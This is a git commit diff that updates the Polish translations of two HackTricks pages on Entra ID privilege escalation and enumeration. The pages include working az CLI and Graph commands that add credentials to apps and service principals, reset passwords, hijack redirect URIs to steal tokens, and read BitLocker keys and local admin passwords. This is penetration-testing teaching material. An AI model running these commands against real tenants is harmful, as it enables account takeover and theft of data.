Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-03-01 20:35:19 +00:00
parent c33314ce8a
commit 2ada25893c
2 changed files with 189 additions and 112 deletions

View File

@@ -3,15 +3,15 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Należy pamiętać, że **nie wszystkie szczegółowe uprawnienia**, które posiadają role wbudowane w Entra ID, **kwalifikują się do użycia w rolach niestandardowych.**
> Zwróć uwagę, że **nie wszystkie szczegółowe uprawnienia** jakie wbudowane role mają w Entra ID **kwalifikują się do użycia w rolach niestandardowych.**
## Role
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
### Rola: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
Ta rola zawiera niezbędne szczegółowe uprawnienia pozwalające przypisywać role podmiotom oraz nadawać dodatkowe uprawnienia rolom. Obie czynności mogą zostać nadużyte w celu eskalacji uprawnień.
Ta rola zawiera niezbędne szczegółowe uprawnienia umożliwiające przypisywanie ról podmiotom (principals) oraz nadawanie rolom dodatkowych uprawnień. Obie akcje mogą zostać nadużyte do eskalacji uprawnień.
- Przypisanie roli użytkownikowi:
- Przypisz rolę użytkownikowi:
```bash
# List enabled built-in roles
az rest --method GET \
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
To pozwala atakującemu **dodać poświadczenia** (hasła lub certyfikaty) do istniejących aplikacji. Jeśli aplikacja ma uprzywilejowane uprawnienia, atakujący może uwierzytelnić się jako ta aplikacja i uzyskać te uprawnienia.
Umożliwia atakującemu **dodanie poświadczeń** (haseł lub certyfikatów) do istniejących aplikacji. Jeśli aplikacja ma uprzywilejowane uprawnienia, atakujący może uwierzytelnić się jako ta aplikacja i uzyskać te uprawnienia.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Pozwala na wykonywanie tych samych akcji co `applications/credentials/update`, ale ograniczone do aplikacji w pojedynczym katalogu.
To pozwala na te same działania co `applications/credentials/update`, ale ograniczone do aplikacji należących do pojedynczego katalogu.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
Dodając siebie jako właściciela, atakujący może manipulować aplikacją, w tym poświadczeniami i uprawnieniami.
Dodając siebie jako właściciela, atakujący może manipulować aplikacją, w tym jej poświadczeniami i uprawnieniami.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,9 +77,9 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Atakujący może dodać redirect URI do aplikacji używanych przez użytkowników tenanta, a następnie udostępnić im login URLs wykorzystujące nowy redirect URL, aby przechwycić ich tokens. Zwróć uwa, że jeśli user był już zalogowany w application, authentication będzie automatyczne i user nie będzie musiał nic akceptować.
Atakujący może dodać redirect URI do aplikacji używanych przez użytkowników tenanta, a następnie udostępnić im login URLs korzystające z nowego redirect URI, aby wykradać ich tokens. Zauważ, że jeśli użytkownik był już zalogowany do aplikacji, uwierzytelnienie będzie odbywać się automatycznie i użytkownik nie będzie musiał niczego akceptować.
Zwróć uwagę, że możliwe jest również zmodyfikowanie permissions, których żąda application, aby uzyskać więcej permissions, jednak w takim przypadku user będzie musiał ponownie zaakceptować prompt żądający wszystkich permissions.
Zauważ też, że możliwe jest zmienienie permissions, o które aplikacja prosi, aby uzyskać więcej uprawnień, ale w takim przypadku użytkownik będzie musiał ponownie zaakceptować monit proszący o wszystkie permissions.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
@@ -88,11 +88,11 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
```
### Eskalacja uprawnień aplikacji
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** często spotykało się domyślne aplikacje, którym przypisano **API permissions** typu **`Application`**. API Permission (jak to nazywa konsola Entra ID) typu **`Application`** oznacza, że aplikacja może uzyskać dostęp do API i wykonywać akcje bez kontekstu użytkownika (bez logowania użytkownika do aplikacji) oraz bez konieczności posiadania ról Entra ID. Dlatego bardzo często można znaleźć **aplikacje o wysokich uprawnieniach w każdym tenancie Entra ID**.
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** często można było znaleźć domyślne aplikacje, które mają przypisane **API permissions** typu **`Application`**. API Permission (jak nazywa się to w konsoli Entra ID) typu **`Application`** oznacza, że aplikacja może uzyskiwać dostęp do API i wykonywać operacje bez kontekstu użytkownika (bez logowania użytkownika do aplikacji) oraz bez potrzeby posiadania ról Entra ID. W związku z tym bardzo często można znaleźć **wysoko uprzywilejowane aplikacje w każdym Entra ID tenant**.
Wówczas, jeśli atakujący ma jakiekolwiek uprawnienie/rolę umożliwiającą **update the credentials (secret o certificate) of the application**, może wygenerować nowe credential i użyć go do **authenticate as the application**, uzyskując wszystkie uprawnienia, które posiada aplikacja.
Jeżeli atakujący ma jakiekolwiek uprawnienie/rolę pozwalającą na **update the credentials (secret o certificate) of the application**, może wygenerować nowe poświadczenie, a następnie użyć go do **authenticate as the application**, uzyskując wszystkie uprawnienia, które posiada aplikacja.
Zauważ, że wspomniany blog udostępniał pewne **API permissions** typowych domyślnych aplikacji Microsoft; jednak jakiś czas po tej publikacji Microsoft naprawił ten problem i teraz nie jest już możliwe zalogowanie się jako aplikacje Microsoft. Mimo to wciąż można znaleźć **aplikacje niestandardowe o dużych uprawnieniach, które można wykorzystać**.
Zauważ, że wspomniany blog udostępniał niektóre **API permissions** popularnych domyślnych aplikacji Microsoft, jednak jakiś czas po tym raporcie Microsoft naprawił ten problem i teraz nie jest już możliwe logowanie się jako aplikacje Microsoft. Niemniej jednak wciąż można znaleźć **custom applications with high privileges that could be abused**.
How to enumerate the API permissions of an application:
```bash
@@ -125,7 +125,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Znajdź wszystkie aplikacje, które mają uprawnienia API do API innych niż Microsoft (az cli)</summary>
<summary>Znajdź wszystkie uprawnienia API aplikacji i oznacz API należące do Microsoft</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -147,6 +147,32 @@ done
return 1
}
get_permission_value() {
local resource_app_id="$1"
local perm_type="$2"
local perm_id="$3"
local key value
key="${resource_app_id}|${perm_type}|${perm_id}"
value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
if [ -n "$value" ]; then
printf '%s\n' "$value"
return 0
fi
if [ "$perm_type" = "Scope" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
elif [ "$perm_type" = "Role" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
else
value=""
fi
[ -n "$value" ] || value="UNKNOWN"
printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
printf '%s\n' "$value"
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
@@ -155,7 +181,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
tmp_perm_cache="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
@@ -169,9 +196,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"
# Print only app permissions where the target API is NOT Microsoft-owned.
# Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
@@ -186,14 +213,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
is_ms="true"
else
is_ms="false"
fi
permissions_csv=""
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
perm_label="${perm_type}:${perm_value}"
if [ -z "$permissions_csv" ]; then
permissions_csv="$perm_label"
else
permissions_csv="${permissions_csv},${perm_label}"
fi
done < <(jq -c '.resourceAccess[]' <<<"$rra")
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
@@ -203,27 +241,27 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
Pozwala to atakującemu dodać poświadczenia do istniejących service principals. Jeśli dany service principal ma podwyższone uprawnienia, atakujący może przejąć te uprawnienia.
Pozwala to atakującemu dodać poświadczenia do istniejących service principals. Jeśli service principal ma podwyższone uprawnienia, atakujący może przejąć te uprawnienia.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> Nowo wygenerowane hasło nie pojawi się w konsoli webowej, więc może to być stealth sposób na utrzymanie persistence dla service principal.\
> Nowo wygenerowane hasło nie pojawi się w konsoli webowej, więc może to być ukryty sposób na utrzymanie persistence dla service principal.\
> Z API można je znaleźć za pomocą: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **nie jest możliwe zmodyfikowanie właściwości passwordCredentials** SP i najpierw musisz go odblokować. Do tego potrzebujesz uprawnienia (`microsoft.directory/applications/allProperties/update`) które pozwala wykonać:
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **nie można modyfikować właściwości passwordCredentials** SP i najpierw trzeba ją odblokować. Do tego potrzebne jest uprawnienie (`microsoft.directory/applications/allProperties/update`), które pozwala na wykonanie:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
To pozwala atakującemu dodać credentials do istniejących service principals. Jeśli service principal ma podwyższone uprawnienia, atakujący może przejąć te uprawnienia.
Pozwala atakującemu dodać poświadczenia do istniejących service principals. Jeśli service principal ma podwyższone uprawnienia, atakujący może przejąć te uprawnienia.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Podobnie jak w przypadku applications, to uprawnienie pozwala dodać więcej właścicieli do service principal. Posiadanie service principal pozwala kontrolować jego poświadczenia i uprawnienia.
Podobnie jak w przypadku aplikacji, to uprawnienie pozwala dodać więcej właścicieli do service principal. Posiadanie service principal umożliwia kontrolę nad jego poświadczeniami i uprawnieniami.
```bash
# Add new owner
spId="<spId>"
@@ -241,13 +279,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Po dodaniu nowego właściciela próbowałem go usunąć, ale API odpowiedziało, że metoda DELETE nie jest obsługiwana, nawet jeśli to metoda, której trzeba użyć, aby usunąć właściciela. Tak więc **obecnie nie można usuwać właścicieli**.
> Po dodaniu nowego właściciela próbowałem go usunąć, ale API odpowiedziało, że metoda DELETE nie była obsługiwana, nawet jeśli to właśnie tej metody trzeba użyć, aby usunąć właściciela. Więc **obecnie nie można usuwać właścicieli**.
### `microsoft.directory/servicePrincipals/disable` and `enable`
### `microsoft.directory/servicePrincipals/disable` i `enable`
Te uprawnienia pozwalają wyłączać i włączać service principals. Atakujący mógłby użyć tych uprawnień, aby włączyć service principala, do którego w jakiś sposób uzyska dostęp, w celu eskalacji uprawnień.
Te uprawnienia pozwalają wyłączyć i włączyć service principals. Attacker mógłby użyć tych uprawnień, aby włączyć service principal, do którego w jakiś sposób uzyska dostęp, żeby escalate privileges.
Zwróć uwa, że do tej techniki atakujący będzie potrzebował dodatkowych uprawnień, aby przejąć włączonego service principala.
Zauważ, że dla tej techniki attacker będzie potrzebował więcej uprawnień, aby przejąć włączonego service principal.
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -257,7 +295,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
Te uprawnienia pozwalają na tworzenie i pobieranie poświadczeń dla single sign-on, co może umożliwić dostęp do aplikacji stron trzecich.
Te uprawnienia pozwalają tworz i pobierać poświadczenia do logowania jednokrotnego (SSO), co może umożliwić dostęp do aplikacji stron trzecich.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -283,30 +321,30 @@ az rest --method POST \
### `microsoft.directory/groups/allProperties/update`
To uprawnienie pozwala na dodawanie użytkowników do grup uprzywilejowanych, co prowadzi do eskalacji uprawnień.
To uprawnienie umożliwia dodawanie użytkowników do privileged groups, co może prowadzić do privilege escalation.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Uwaga**: To uprawnienie nie obejmuje role-assignable groups w Entra ID.
**Uwaga**: To uprawnienie nie obejmuje grup przypisywalnych do ról Entra ID.
### `microsoft.directory/groups/owners/update`
To uprawnienie pozwala zostać właścicielem grup. Właściciel grupy może kontrolować członkostwo i ustawienia grupy, co potencjalnie może prowadzić do eskalacji uprawnień względem grupy.
To uprawnienie pozwala zostać właścicielem grup. Właściciel grupy może kontrolować członkostwo i ustawienia grupy, co potencjalnie umożliwia eskalację uprawnień względem grupy.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Note**: To uprawnienie nie obejmuje Entra ID role-assignable groups.
**Uwaga**: To uprawnienie wyłącza Entra ID role-assignable groups.
### `microsoft.directory/groups/members/update`
To uprawnienie pozwala na dodawanie członków do grupy. Atakujący może dodać siebie lub złośliwe konta do uprzywilejowanych grup, co może skutkować uzyskaniem podwyższonych uprawnień.
To uprawnienie pozwala dodawać członków do grupy. Atakujący może dodać siebie lub złośliwe konta do uprzywilejowanych grup, co może zapewnić podwyższone uprawnienia.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
To uprawnienie pozwala na aktualizację reguły członkostwa w grupie dynamicznej. Atakujący mógłby zmodyfikować reguły dynamiczne, aby uwzględnić siebie w grupach uprzywilejowanych bez konieczności jawnego dodania.
To uprawnienie pozwala na aktualizację reguły członkostwa w grupie dynamicznej. Attacker może zmodyfikować reguły dynamiczne, aby włączyć siebie do grup uprzywilejowanych bez jawnego dodawania.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -317,11 +355,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**Uwaga**: To uprawnienie nie obejmuje Entra ID role-assignable groups.
**Uwaga**: To uprawnienie nie obejmuje grup Entra ID przypisywalnych do ról.
### Dynamic Groups Privesc
Może być możliwe, że użytkownicy eskalują uprawnienia, modyfikując swoje własne właściwości, aby zostać dodanymi jako członkowie dynamic groups. Więcej informacji znajdziesz:
Użytkownicy mogą potencjalnie eskalować uprawnienia, modyfikując własne właściwości, aby zostać dodanymi jako członkowie grup dynamicznych. Więcej informacji:
{{#ref}}
dynamic-groups.md
@@ -331,13 +369,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
To uprawnienie pozwala na resetowanie haseł użytkowników niebędących administratorami, umożliwiając potencjalnemu atakującemu eskalację uprawnień do innych użytkowników. To uprawnienie nie może być przypisane do ról niestandardowych.
To uprawnienie pozwala na zresetowanie hasła użytkowników niebędących administratorami, co umożliwia potencjalnemu atakującemu eskalację uprawnień do innych użytkowników. To uprawnienie nie może być przypisane do ról niestandardowych.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
Ten przywilej pozwala modyfikować właściwości użytkownika. Często spotyka się grupy dynamiczne, które dodają użytkowników na podstawie wartości właściwości; dlatego to uprawnienie może umożliwić użytkownikowi ustawienie wymaganej wartości właściwości, aby zostać członkiem konkretnej grupy dynamicznej i eskalować uprawnienia.
To uprawnienie pozwala modyfikować właściwości użytkownika. Często występują dynamiczne grupy, które dodają użytkowników na podstawie wartości właściwości. W związku z tym to uprawnienie może pozwolić użytkownikowi ustawić wymaganą wartość właściwości, by zostać członkiem określonej dynamicznej grupy i w ten sposób eskalować uprawnienia.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -353,9 +391,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Polityki dostępu warunkowego & obejście MFA
## Conditional Access Policies & MFA bypass
Nieprawidłowo skonfigurowane polityki dostępu warunkowego wymuszające MFA można obejść — sprawdź:
Błędnie skonfigurowane conditional access policies wymuszające MFA można obejść — sprawdź:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -365,7 +403,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
To uprawnienie pozwala atakującym przypisać sobie status właściciela urządzenia, by przejąć kontrolę lub uzyskać dostęp do ustawień i danych specyficznych dla tego urządzenia.
To uprawnienie pozwala atakującym nadać sobie status właściciela urządzeń, aby uzyskać kontrolę lub dostęp do ustawień i danych specyficznych dla urządzenia.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -376,7 +414,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
To uprawnienie pozwala atakującym powiązać swoje konto z urządzeniami, aby uzyskać dostęp lub obejść polityki bezpieczeństwa.
To uprawnienie pozwala attackers powiązać swoje konto z urządzeniami, aby uzyskać dostęp lub obejść polityki bezpieczeństwa.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -387,7 +425,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
To uprawnienie pozwala atakującym odczyt właściwości zarchiwizowanych danych uwierzytelniających konta lokalnego administratora urządzeń dołączonych do Microsoft Entra, w tym hasło.
To uprawnienie pozwala atakującym na odczyt właściwości zarchiwizowanych poświadczeń konta lokalnego administratora dla urządzeń dołączonych do Microsoft Entra, w tym hasła.
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -402,7 +440,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
To uprawnienie umożliwia dostęp do kluczy BitLocker, co może pozwolić atakującemu na odszyfrowanie dysków i naruszenie poufności danych.
To uprawnienie pozwala na dostęp do kluczy BitLocker, co może umożliwić atakującemu odszyfrowanie dysków, narażając poufność danych.
```bash
# List recovery keys
az rest --method GET \
@@ -413,7 +451,7 @@ recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## Inne interesujące permissions (TODO)
## Inne interesujące uprawnienia (TODO)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`

View File

@@ -2,15 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Podstawowe informacje
Azure Active Directory (Azure AD) pełni rolę usługi Microsoftu w chmurze odpowiedzialnej za zarządzanie tożsamością i dostępem. Umożliwia pracownikom logowanie się i uzyskiwanie dostępu do zasobów zarówno wewnątrz, jak i poza organizacją, obejmując Microsoft 365, the Azure portal oraz wiele innych aplikacji SaaS. Projekt Azure AD koncentruje się na dostarczaniu podstawowych usług tożsamości, w tym przede wszystkim **authentication, authorization, and user management**.
Azure Active Directory (Azure AD) jest usługą Microsoftu opartą na chmurze służącą do zarządzania tożsamością i dostępem. Umożliwia pracownikom logowanie się i uzyskiwanie dostępu do zasobów zarówno w obrębie organizacji, jak i poza nią, obejmując Microsoft 365, Azure portal oraz wiele innych aplikacji SaaS. Projekt Azure AD koncentruje się na dostarczaniu podstawowych usług tożsamości, w tym przede wszystkim **uwierzytelniania, autoryzacji i zarządzania użytkownikami**.
Kluczowe funkcje Azure AD obejmują **multi-factor authentication** i **conditional access**, a także bezproblemową integrację z innymi usługami zabezpieczeń Microsoft. Funkcje te znacząco podnoszą bezpieczeństwo tożsamości użytkowników i pozwalają organizacjom skutecznie wdrażać i egzekwować polityki dostępu. Jako podstawowy element ekosystemu usług chmurowych Microsoft, Azure AD ma kluczowe znaczenie dla zarządzania tożsamościami w chmurze.
Kluczowe funkcje Azure AD obejmują **uwierzytelnianie wieloskładnikowe** i **dostęp warunkowy**, a także bezproblemową integrację z innymi usługami bezpieczeństwa Microsoftu. Funkcje te znacząco podnoszą bezpieczeństwo tożsamości użytkowników i umożliwiają organizacjom skuteczne wdrażanie oraz egzekwowanie polityk dostępu. Jako podstawowy element ekosystemu usług chmurowych Microsoftu, Azure AD odgrywa kluczową rolę w zarządzaniu tożsamościami w chmurze.
## Enumeration
## Enumeracja
### **Connection**
### **Połączenie**
{{#tabs }}
{{#tab name="az cli" }}
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
Kiedy się **logujesz** przez **CLI** do Azure za pomocą dowolnego programu, używasz **Azure Application** z **tenant**, który należy do **Microsoft**. Te Applications, podobnie jak te, które możesz utworzyć na swoim koncie, **mają client id**. **Nie będziesz w stanie zobaczyć wszystkich** z nich na **allowed applications lists**, które widzisz w konsoli, **ale są domyślnie dozwolone**.
Kiedy **login** przez **CLI** do **Azure** za pomocą dowolnego programu, używasz **Azure Application** z **tenant** należącego do **Microsoft**. Te **Applications**, podobnie jak te, które możesz utworzyć w swoim koncie, **have a client id**. Nie zobaczysz ich wszystkich na **allowed applications lists**, które widzisz w konsoli, **but they are allowed by default**.
Na przykład **powershell script**, który **uwierzytelnia się**, używa aplikacji z client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Nawet jeśli aplikacja nie pojawia się w konsoli, sysadmin może **zablokować tę aplikację**, aby użytkownicy nie mogli uzyskać dostępu przy użyciu narzędzi, które łączą się przez tę App.
Na przykład **powershell script**, który **authenticates**, używa aplikacji z client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Nawet jeśli aplikacja nie pojawia się w konsoli, sysadmin może **block that application**, aby użytkownicy nie mogli uzyskać dostępu za pomocą narzędzi, które łączą się przez tę App.
Jednak istnieją **inne client-ids** aplikacji, które **pozwolą ci połączyć się z Azure**:
Jednak istnieją **other client-ids** aplikacji, które **will allow you to connect to Azure**:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -227,7 +227,7 @@ az account tenant list
### Użytkownicy
Aby uzyskać więcej informacji o użytkownikach Entra ID, zobacz:
Więcej informacji o użytkownikach Entra ID znajdziesz tutaj:
{{#ref}}
../az-basic-information/
@@ -364,9 +364,9 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
```
### MFA i polityki Conditional Access
### MFA & Conditional Access Policies
Zaleca się dodanie MFA dla każdego użytkownika, jednak niektóre firmy tego nie włączą lub mogą ustawić je w Conditional Access: MFA będzie **wymagane, jeśli** użytkownik zaloguje się z określonej lokalizacji, przeglądarki lub **pewnego warunku**. Te polityki, jeśli nie są poprawnie skonfigurowane, mogą być podatne na **obejścia**. Sprawdź:
Zaleca się dodanie MFA dla każdego użytkownika, jednak niektóre firmy nie włączają go lub konfigurują poprzez Conditional Access: użytkownik będzie **zobowiązany do użycia MFA, jeśli** zaloguje się z określonej lokalizacji, przeglądarki lub **innego warunku**. Te polityki, jeśli nie są poprawnie skonfigurowane, mogą być podatne na **bypasses**. Sprawdź:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -374,7 +374,7 @@ Zaleca się dodanie MFA dla każdego użytkownika, jednak niektóre firmy tego n
### Grupy
Więcej informacji o grupach Entra ID znajdziesz:
Aby uzyskać więcej informacji o grupach Entra ID sprawdź:
{{#ref}}
../az-basic-information/
@@ -488,8 +488,8 @@ Właściciele grupy mogą dodawać nowych użytkowników do grupy.
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> Grupy mogą być dynamiczne, co zasadniczo oznacza, że **jeśli użytkownik spełni pewne warunki, zostanie dodany do grupy**. Oczywiście, jeśli warunki opierają się na **atrybutach**, które **użytkownik** może **kontrolować**, może on nadużyć tej funkcji, aby **dostać się do innych grup**.\
> Zobacz, jak nadużyć dynamicznych grup na następującej stronie:
> Grupy mogą być dynamiczne, co w zasadzie oznacza, że **jeśli użytkownik spełni określone warunki, zostanie dodany do grupy**. Oczywiście, jeśli warunki opierają się na **atrybutach**, które **użytkownik** może **kontrolować**, może on nadużyć tej funkcji, aby **dostać się do innych grup**.\
> Zobacz, jak wykorzystać dynamiczne grupy na następującej stronie:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -598,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
{{#endtabs }}
> [!WARNING]
> Właściciel Service Principal może zmienić jego hasło.
> Owner of a Service Principal może zmienić jego hasło.
<details>
<summary>Wypisz i spróbuj dodać client secret do każdej Enterprise App</summary>
<summary>Wypisz i spróbuj dodać client secret do każdego Enterprise App</summary>
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -709,16 +709,17 @@ Write-Output "Failed to Enumerate the Applications."
### Aplikacje
Aby uzyskać więcej informacji o aplikacjach sprawdź:
Aby uzyskać więcej informacji o aplikacjach, zobacz:
{{#ref}}
../az-basic-information/
{{#endref}}
Kiedy App jest wygenerowany, przydzielane są 2 typy uprawnień:
Gdy aplikacja jest utworzona, przyznawane są 3 typy uprawnień:
- **Permissions** przyznawane **Service Principal**
- **Permissions**, które **app** może mieć i używać w **imieniu użytkownika**.
- **Uprawnienia** nadane **Service Principal** (poprzez role).
- **Uprawnienia**, które **aplikacja** może posiadać i używać **w imieniu użytkownika**.
- **API Permissions**, które dają aplikacji uprawnienia w EntraID bez konieczności przydzielania dodatkowych ról.
{{#tabs }}
{{#tab name="az cli" }}
@@ -772,7 +773,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Znajdź wszystkie aplikacje z uprawnieniami do API innych niż Microsoft (az cli)</summary>
<summary>Znajdź wszystkie uprawnienia API aplikacji i oznacz API należące do Microsoft (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -794,6 +795,32 @@ done
return 1
}
get_permission_value() {
local resource_app_id="$1"
local perm_type="$2"
local perm_id="$3"
local key value
key="${resource_app_id}|${perm_type}|${perm_id}"
value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
if [ -n "$value" ]; then
printf '%s\n' "$value"
return 0
fi
if [ "$perm_type" = "Scope" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
elif [ "$perm_type" = "Role" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
else
value=""
fi
[ -n "$value" ] || value="UNKNOWN"
printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
printf '%s\n' "$value"
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
@@ -802,7 +829,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
tmp_perm_cache="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
